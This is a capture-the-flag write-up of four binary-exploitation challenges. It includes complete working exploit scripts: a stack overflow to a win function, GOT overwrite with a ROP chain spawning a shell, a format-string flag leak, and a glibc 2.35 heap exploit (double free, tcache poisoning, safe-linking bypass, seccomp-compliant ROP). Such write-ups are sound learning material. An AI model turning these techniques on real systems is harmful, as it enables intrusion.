# First 4 pwn challenge - [ret2win](##ret2win) - [ret2lose](##ret2lose) - [form](##form) - [mailman](##mailman) ## ret2win ### Chall ```! Description Can you overflow the buffer and get the flag? (Hint: if your exploit isn't working on the remote server, look into stack alignment ``` First pwn challenge, the most solved challenge in this category surely, given the binary file and its source code so i don't need to fire up my ghidra. vuln.c : ```c= #include <stdio.h> #include <unistd.h> int main() { char buf[64]; gets(buf); } int win() { system("cat flag.txt"); } ``` As you can see, there's an obvious buffer overflow with gets, which we can overwrite return address and control rip, and there's win function that will give use flag, that's why this kind of challenge technique called ret2win same as the challenge name which mean we return to win function. ### Exploit To exploit buffer overflow vulnerability we have to fill up stack frame until we got into the return address. ![stack frame](https://upload.wikimedia.org/wikipedia/commons/d/d3/Call_stack_layout.svg) just to give you some of the basic visualisation (i just randomly grab some image on google by typing stack frame), stack frame is something in between rsp and rbp register, return address is something that saved function address. So when a function done execute its instruction it go back to the function that called him, for example if main called gets it will saved address of main somewhere in stack and that's what we call return address, and by overwriting it we can control the flow of the program.This was the most basic challenge in pwn so no need to explain any further. Final Solver : ```python= from pwn import * elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' b* 0x0000000000401179 c ''' p = remote('ret2win.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) payload = b'a'*72+p64(0x000000000040101a)+p64(elf.sym.win) p.sendline(payload) p.interactive() ``` ### Flag ```! ictf{r3turn_0f_th3_k1ng?} ``` ## ret2lose ### Chall ```! Description You overflowed the buffer and got the flag... but can you get my other flag? (Remote and binary are the same as in the challenge ret2win, but you have to get a shell this time) ``` It's the same challenge as the earlier challenge, this time we have to spawn shell not just calling win function, there's a technique called ret2libc but libc wasn't given so we have to think a bit more creative this time. ### Exploit For someone has done ret2libc before you may know that we have to leak libc first and bla bla set rdi call system, but there aren't any puts or write function, something that will printed out the leak to stdout so we got no leak. Before going any further it's good practice to check the mitigations first ```shell ❯ checksec vuln [*] '/home/yqroo/Documents/ctf/imaginary2023/pwn/ret2lose/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` so there's no canary, PIE was off, and we can overwrite GOT Table. The reason i don't do this earlier was because i'm pretty sure canary and pie was off and no need to check for RELRO, this time to be able to overwrite GOT for my exploit script to works is a must. Let me explain my idea, first i think i have to resolve the system so i want to call win function first but turns out that's not really useful so i just comment it out, what i mean by resolve is that when libc function in got table got executed the address will be a libc address not more a plt address, but this was nothing useful as i said earlier, because we don't need to leak something and if we have to leak we can leak other function that has been resolved for e.g puts of course this is for another challenge. So, we'll jump to main when the instruction is `lea rax, [rbp-0x40]`, oh let me give you the full main disassemble to understand better. ``` 0x0000000000401156 <+0>: endbr64 0x000000000040115a <+4>: push rbp 0x000000000040115b <+5>: mov rbp,rsp 0x000000000040115e <+8>: sub rsp,0x40 0x0000000000401162 <+12>: lea rax,[rbp-0x40] 0x0000000000401166 <+16>: mov rdi,rax 0x0000000000401169 <+19>: mov eax,0x0 0x000000000040116e <+24>: call 0x401060 <gets@plt> 0x0000000000401173 <+29>: mov eax,0x0 0x0000000000401178 <+34>: leave 0x0000000000401179 <+35>: ret ``` basically we jump to `lea rax, [rbp-0x40]` so we can control rdi, because i don't see any `pop rdi` gadget in `ropper`, but we have to also set the rbp before ret to main again the buffer size is 64 and there's rbp after that that rbp we have to set to GOT gets + 0x40 (`elf.got.gets + 0x40`) and that will set our rdi to GOT gets, and for this gets we'll input system plt, and basically overwrite return address again and call main once again, but there's more in payload let me break it down. ```python= payload = flat( elf.plt.system, b'a'*0x30, b'/bin/sh\x00', 0x404058+0x40, # RBP, -0x40 will be /bin/sh address 0x0000000000401179, p64(0x0000000000401016)*401, # add rsp+8, ret 0x0000000000401179, # ret 0x0000000000401179, # ret 0x0000000000401162 # lea rax [rbp-0x40] ) ``` i set `/bin/sh` to the buffer, and because this was on the bss section i can calculate the address (just do basic math with the address of GOT gets), one thing that must be underlined is the `add rsp+8` gadget, when we don't use it in our system call it will be segfaulting because trying to write to non-writeable address (not in bss anymore), so i need to add more rsp so it can works after i tested it out there's some amount of rsp that we have to add if we add too little we'll get segfault because of the earlier reason or the system call argument doesn't get pass correctly `system(<some random address>)`, my teammates said that was because there were to many args when we call `posix_spawn` so we need to reduce the stack frame by adding more rsp, in my local machine 219 add rsp+8 gadget was enough but in remote server i tested it was 390-400 ish add rsp gadgets. Final Solver : ```python= from pwn import * elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' set follow-fork-mode parent bp do_system+353 c ''' p = remote('ret2win.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) # resolve system but not useful # payload = flat( # b'a'*64, # 0x0000000000401179, # ret # 0x0000000000401179, # ret # elf.sym.win, # elf.sym.main # ) # p.sendline(payload) payload = flat( b'a'*64, elf.got.gets+0x40, 0x0000000000401179, # ret 0x401162 # main -> lea rax, [rbp-0x40] ) p.sendline(payload) payload = flat( elf.plt.system, b'a'*0x30, b'/bin/sh\x00', 0x404058+0x40, # RBP, -0x40 will be /bin/sh address 0x0000000000401179, p64(0x0000000000401016)*401, # add rsp+8, ret 0x0000000000401179, # ret 0x0000000000401179, # ret 0x0000000000401162 # lea rax [rbp-0x40] ) p.sendline(payload) p.interactive() ``` ### Flag ```! ictf{ret2libc?_what_libc?} ``` ## Form ### Chall ```! Description The obligatory format string challenge comes back, but with a twist. ``` Me personally think this challenge is the easiest among the pwn category, because we don't really need a script to solve it, but yeah we have to know the trick, this challenge vuln was format string (actually one of my favourite pwn challenge because easy and fun). Disassembly : ```assembly! pwndbg> disass main Dump of assembler code for function main: 0x0000555555555209 <+0>: endbr64 0x000055555555520d <+4>: push rbp 0x000055555555520e <+5>: mov rbp,rsp 0x0000555555555211 <+8>: sub rsp,0x20 0x0000555555555215 <+12>: mov rax,QWORD PTR fs:0x28 0x000055555555521e <+21>: mov QWORD PTR [rbp-0x8],rax 0x0000555555555222 <+25>: xor eax,eax 0x0000555555555224 <+27>: mov edi,0x20 0x0000555555555229 <+32>: call 0x555555555100 <malloc@plt> 0x000055555555522e <+37>: mov QWORD PTR [rbp-0x18],rax 0x0000555555555232 <+41>: mov edi,0x20 0x0000555555555237 <+46>: call 0x555555555100 <malloc@plt> 0x000055555555523c <+51>: mov QWORD PTR [rbp-0x20],rax 0x0000555555555240 <+55>: mov rax,QWORD PTR [rip+0x2dd9] # 0x555555558020 <stdin@GLIBC_2.2.5> 0x0000555555555247 <+62>: mov esi,0x0 0x000055555555524c <+67>: mov rdi,rax 0x000055555555524f <+70>: call 0x5555555550d0 <setbuf@plt> 0x0000555555555254 <+75>: mov rax,QWORD PTR [rip+0x2db5] # 0x555555558010 <stdout@GLIBC_2.2.5> 0x000055555555525b <+82>: mov esi,0x0 0x0000555555555260 <+87>: mov rdi,rax 0x0000555555555263 <+90>: call 0x5555555550d0 <setbuf@plt> 0x0000555555555268 <+95>: lea rax,[rip+0xd95] # 0x555555556004 0x000055555555526f <+102>: mov rsi,rax 0x0000555555555272 <+105>: lea rax,[rip+0xd8d] # 0x555555556006 0x0000555555555279 <+112>: mov rdi,rax 0x000055555555527c <+115>: call 0x555555555110 <fopen@plt> 0x0000555555555281 <+120>: mov QWORD PTR [rbp-0x10],rax 0x0000555555555285 <+124>: mov rdx,QWORD PTR [rbp-0x10] 0x0000555555555289 <+128>: mov rax,QWORD PTR [rbp-0x18] 0x000055555555528d <+132>: mov esi,0x20 0x0000555555555292 <+137>: mov rdi,rax 0x0000555555555295 <+140>: call 0x5555555550f0 <fgets@plt> 0x000055555555529a <+145>: mov rdx,QWORD PTR [rip+0x2d7f] # 0x555555558020 <stdin@GLIBC_2.2.5> 0x00005555555552a1 <+152>: mov rax,QWORD PTR [rbp-0x20] 0x00005555555552a5 <+156>: mov esi,0x20 0x00005555555552aa <+161>: mov rdi,rax 0x00005555555552ad <+164>: call 0x5555555550f0 <fgets@plt> 0x00005555555552b2 <+169>: lea rax,[rbp-0x20] 0x00005555555552b6 <+173>: mov QWORD PTR [rbp-0x18],rax 0x00005555555552ba <+177>: mov rax,QWORD PTR [rbp-0x18] 0x00005555555552be <+181>: mov rdi,rax 0x00005555555552c1 <+184>: call 0x5555555550c0 <strlen@plt> 0x00005555555552c6 <+189>: cmp rax,0x17 0x00005555555552ca <+193>: ja 0x5555555552dd <main+212> 0x00005555555552cc <+195>: mov rax,QWORD PTR [rbp-0x20] 0x00005555555552d0 <+199>: mov rdi,rax 0x00005555555552d3 <+202>: mov eax,0x0 0x00005555555552d8 <+207>: call 0x5555555550e0 <printf@plt> 0x00005555555552dd <+212>: mov edi,0x0 0x00005555555552e2 <+217>: call 0x5555555550b0 <_exit@plt> ``` Or if you prefer a decompilation : ```c= void main(void) { size_t sVar1; long in_FS_OFFSET; char *local_28; char **local_20; FILE *local_18; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); local_20 = (char **)malloc(0x20); local_28 = (char *)malloc(0x20); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); local_18 = fopen("flag.txt","r"); fgets((char *)local_20,0x20,local_18); fgets(local_28,0x20,stdin); local_20 = &local_28; sVar1 = strlen((char *)local_20); if (sVar1 < 0x18) { printf(local_28); } /* WARNING: Subroutine does not return */ _exit(0); } ``` Okay so the program malloc 2 chunk, first chunk will be the buffer for flag.txt, the second one is for our input buffer, and there's length restriction in our input so our payload must be small, well doesn't have to make a long one for this challenge. ### Exploit How our stack looks like after the printf : ``` 00:0000│ rsp 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n' 01:0008│ 0x7fffffffda68 —▸ 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n' 02:0010│ 0x7fffffffda70 —▸ 0x555555559300 ◂— 0xfbad2488 03:0018│ 0x7fffffffda78 ◂— 0xa91ab74e38e68900 04:0020│ rbp 0x7fffffffda80 ◂— 0x1 05:0028│ 0x7fffffffda88 —▸ 0x7ffff7dd7850 (__libc_start_call_main+128) ◂— mov edi, eax 06:0030│ 0x7fffffffda90 —▸ 0x7fffffffdb80 —▸ 0x7fffffffdb88 ◂— 0x38 /* '8' */ 07:0038│ 0x7fffffffda98 —▸ 0x555555555209 (main) ◂— endbr64 ``` as u can see there's our heap address in stack, and there's a stack address that point to our heap. So, the idea is overwrite the stack address that point to heap with just one byte, this one so the stack address will point to our heap that contain flag. ``` 01:0008│ 0x7fffffffda68 —▸ 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n' ``` and then we can leak the flag with `%s`, this address since it will be overwritten to flag heap ``` 00:0000│ rsp 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n' ``` We have to use non-positional format to execute our first idea (overwrite stack to point to flag heap) and we can use the `$` to access the stack that have been overwritten. The payload is : ``` %c%c%c%c%c%155c%hhn%6$s ``` we stack up `%c`until we hit the 6th stack, the 7th format will be the payload to overwrite one byte `%hhn` this will overwrite 7th stack one byte, 155 is a padding, we want to overwrite the heap to 0xa0 in the end(0xa0 is 160) but since we already have 5 `%c` earlier we have to substract it with 5, and with that the overwrite will be saved, so when we do `%6$s` this will actually going to treat the 6th stack as string and actually leak out our flag. note : stack i provided earlier is stack after printf and stack i talked about is when we do `%p` since some of the earlier stack is something that use in internal printf cmiiw though. Final Solver : ```python= from pwn import * # elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' b* main c ''' p = remote('form.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) # p.sendline(b'%p %p %p %p %p %p %p %p %p %p') # p.sendline(b'%c%c%c%c%c%c%p') p.sendline(b'%c'*5 + f'%{0xa0-5}c%hhn%6$s'.encode()) p.recvuntil(b'\xd0') print(p.recvline(0)) p.interactive() ``` ### Flag ```! ictf{ngl_kinda_bored_of_these} ``` ## mailman ### Chall ```! Description I'm sure that my post office is 100% secure! It uses some of the latest software, unlike some of the other post offices out there... Flag is in ./flag.txt. ``` I'm still trying to learn heap exploitation there's not many technique that i understand, but for this one i use fastbin dup and double free since it have uaf but doesn't have edit function, i won't explain each function of the program just my idea on how i approach this challenge. Btw there's a seccomp used, and this is what they restrict us ```shell ❯ seccomp-tools dump ./vuln line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0010 0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL ``` basically open, read, write is what we have to do to get flag. libc version (2.35) : ```shell! ❯ strings libc.so.6| grep ubuntu GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35. <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>. GCC: (Ubuntu 11.2.0-19ubuntu1) 11.2.0 ``` mitigations : ``` ❯ checksec vuln [*] '/home/yqroo/Documents/ctf/imaginary2023/pwn/mailman/vuln' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` ### Exploit Because this is libc 2.35 there's safe linking procedure, just add demale and mangle function into exploit to resolve it ```python= def demangle(addr:int) -> int: mid = addr >> 12 ^ addr ril = mid >> 24 ^ mid return ril def mangle(leak:int, target:int) -> int: return leak >> 12 ^ target ``` When i first saw this challenge what comes to my mind is somehow we have to do rop orw so we have to get libc address and stack address, if we successfully leak libc we can leak stack also from libc environ. By getting a chunk in unsorted bin we can leak libc, to do it we have to fill up tcache first, and big enough chunk won't get to fastbin it goes to unsorted bin instead. ```python= for i in range(7): add(i, 0x100, f'{i}'.encode()*0x10) add(7, 0x100, b'UNSORTED BIN') for i in range(7): # fill tcache free(i) add(8, 0x20, b'NO CORRUPT') # it's a must so top chunk doesn't get corrupted free(7) # will go to unsorted bin read(7) # leak libc.address = u64(p.recvline(0).ljust(8,b'\x00')) - libc.sym.main_arena - 96 info('%x', libc.address) ``` also we have to leak libc ```python= read(1) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) ``` so if we don't use demangle we won't get the same address as our heap, and sometimes this will get us in trouble. after we got libc and heap, we'll do fastbin dup and double free so we can change the tcache structure so it's point to libc environ and libc environ has stack address in it. ```python= for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, b'a') add(8, 0x40, b'b') add(9, 0x40, b'c') for i in range(7): free(i) free(7) free(8) free(7) # double free for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) # retrieve tcache add(7, 0x40, p64(mangle(heap, libc.sym.environ))) # add our libc environ have to be mangle first add(8, 0x40, b'./flag.txt\x00') # we'll use this later for rop payload add(9, 0x40, b'awikwokwk') # rubish add(10, 0x40, b'') # our libc environ address the stack get overwritten ``` i'll give some visualization for double free ``` <chunk 1 > --> <chunk 2 > --> <chunk 1> ``` that's what will happen to your heap in fastbin, we can't do that in tcache because of libc mitigations. so our 7 (heap with index 7) will point to `<chunk 1>`, we malloc to it again and input our libc environ, so it will be something like ``` <chunk 2> --> <chunk 1> --> <libc environ> --> <stack not valid> ``` that's happen in tcache since we have retrieve all the tcache before malloc 7, then we malloc again 3 times, the last malloc will overwrite libc environ so we can read 10 to leak because fgets terminate input with null. to leak the stack i try to do something creative, i don't know if this will works in other machine but this also works in remote, well my solver really is not stable but doesn't care i solved it with this. ```python= add(11, 0x40, b'STACK') free(11) read(11) flag = heap + 2624 # earlier ./flag.txt rip = mangle(libc.sym.environ, mangle(heap, u64(p.recvline(0).ljust(8, b'\x00')))) - 0x190 # mangle 2 times info('%x', rip) ``` so um i honestly don't know, i thought when i add 1 more chunk the not valid stack will get allocated but not i got another heap address that will point to that's not valid stack, here the visualization ``` <chunk out of no where> --> <not valid stack> ``` i read it and mangle it 2 times with libc heap and libc environ, we can't use demangle because that's not heap, let's go through the safe linking first. So if we free chunk it will get encrypted it with mangle ``` <freshly freed> --> <free earlier> free earlier = freshly freed >> 12 ^ free earlier but actuall address ``` that'some shitty explanation but i hope you understand, so we have to mangle it to get to address of stack that been mangled by libc environ address, then we mangle back to get actuall stack that libc environ originally has, please don't be confused on this, for further explanation if we have a heap address to get its original address we can do demangle because we don't really need a seccond value as the key xor, we can recover that because address of heap (if it's not differ to much) the first couple byte will be the same so demangle works. but if we have libc injected we have to use mangle becuase the xor key is heap and first couple byte isn't the same, hope that's explain. we get our libc address and stack address, we will have to malloc to stack to do rop but where though?? well we have to malloc in return address but remember chunk have to be perfectly aligned (not 0x8), so rip-8 is good. for my solver i'm really trying to malloc to return address but somehow it crash, what i mean by crash is we can't malloc there or something, i don't know it hard to debug why this happen, then i decided to calculate a return address of a function (doesn't remember) and get -0x190 from libc environ, but yes it's also crash and when i calculate again in many function it return -0x160 and yes this CRASHHH!! then i tried to add `sleep(1)` before last payload subtract more -0x170 .. until -0x190 and it works?? what??, there's to many thing i don't understand i'm sorry for being silly but the return address is -0x190 from stack libc environ, accept it. the rop payload is divided by 2 because the size isn't enough. ```python= rop1 = flat( ret, rax, 0x2, rdi, flag, rsi, 0x0, syscall, rax, 0x0, rdi, 0x3, rsi, rip-0x60, ) rop2 = flat( rdx_r12, 0x60, 0x00, syscall, rax, 0x1, rdi, 0x1, syscall ) ``` rop2 will be malloced at `rip-8+len(rop1)` while the rop1 is the problem i earlier told (crash when malloc or something, idk), the rop payload it self is just a basic orw syscall payload. and that's it, the program printed us flag heap heap hoorayy, this is the most pain chall that i solved since i'm heapy noob. Final Solver : ```python= from pwn import * elf = context.binary = ELF('./vuln', checksec=False) libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) def add(idx:int, size:int, msg:bytes): # write p.sendlineafter(b'> ', b'1') p.sendlineafter(b'idx: ',f'{idx}'.encode()) p.sendlineafter(b'letter size: ',f'{size}'.encode()) p.sendlineafter(b'content: ', msg) def free(idx:int): # send p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx: ',f'{idx}'.encode()) def read(idx:int): # read p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx: ',f'{idx}'.encode()) def demangle(addr:int) -> int: mid = addr >> 12 ^ addr ril = mid >> 24 ^ mid return ril def mangle(leak:int, target:int) -> int: return leak >> 12 ^ target p = remote('mailman.chal.imaginaryctf.org', 1337) # p = elf.process() for i in range(7): add(i, 0x100, f'{i}'.encode()*0x10) add(7, 0x100, b'UNSORTED BIN') for i in range(7): free(i) add(8, 0x20, b'NO CORRUPT') free(7) read(7) libc.address = u64(p.recvline(0).ljust(8,b'\x00')) - libc.sym.main_arena - 96 info('%x', libc.address) read(1) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, b'a') add(8, 0x40, b'b') add(9, 0x40, b'c') for i in range(7): free(i) free(7) free(8) free(7) for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, p64(mangle(heap, libc.sym.environ))) add(8, 0x40, b'./flag.txt\x00') add(9, 0x40, b'awikwokwk') add(10, 0x40, b'') add(11, 0x40, b'STACK') free(11) read(11) flag = heap + 2624 rip = mangle(libc.sym.environ, mangle(heap, u64(p.recvline(0).ljust(8, b'\x00')))) - 0x190 info('%x', rip) rax = libc.address + 0x0000000000045eb0 rdi = libc.address + 0x000000000002a3e5 rsi = libc.address + 0x00000000001303b2 rdx_r12 = libc.address + 0x000000000011f497 ret = libc.address + 0x00000000000f90e1 syscall = libc.address + 0x0000000000091396 rop1 = flat( ret, rax, 0x2, rdi, flag, rsi, 0x0, syscall, rax, 0x0, rdi, 0x3, rsi, rip-0x60, ) rop2 = flat( rdx_r12, 0x60, 0x00, syscall, rax, 0x1, rdi, 0x1, syscall ) for i in range(7): add(i, 0x60, f'{i}'.encode()*0x10) add(7, 0x60, b'a') add(8, 0x60, b'b') add(9, 0x60, b'c') for i in range(7): free(i) free(7) free(8) free(7) read(6) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x60, f'{i}'.encode()*0x10) info('%x',rip-8) add(7, 0x60, p64(mangle(heap, rip-8+len(rop1)))) add(8, 0x60, b'awikwokwk') add(9, 0x60, b'awikwokwk') add(10, 0x60, rop2) for i in range(7): add(i, 0x71, f'{i}'.encode()*0x10) add(7, 0x71, b'a') add(8, 0x71, b'b') add(9, 0x71, b'c') for i in range(7): free(i) free(7) free(8) free(7) read(7) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x71, f'{i}'.encode()*0x10) add(7, 0x71, p64(mangle(heap, rip-8))) add(8, 0x71, b'awikwokwk') add(9, 0x71, b'awikwokwk') c = f''' b* {syscall} c ''' # gdb.attach(p,c) # print(hex(rip)) sleep(1) add(10, 0x71, rop1) p.interactive() ``` ### Flag ``` ictf{i_guess_the_post_office_couldnt_hide_the_heapnote_underneath_912b123f} ``` ## Author's note May this writeups help you :+1: All the solver available at : [Github Page](https://github.com/UnoArroefy/CTF-Writeups/tree/main/ictf2023/pwn)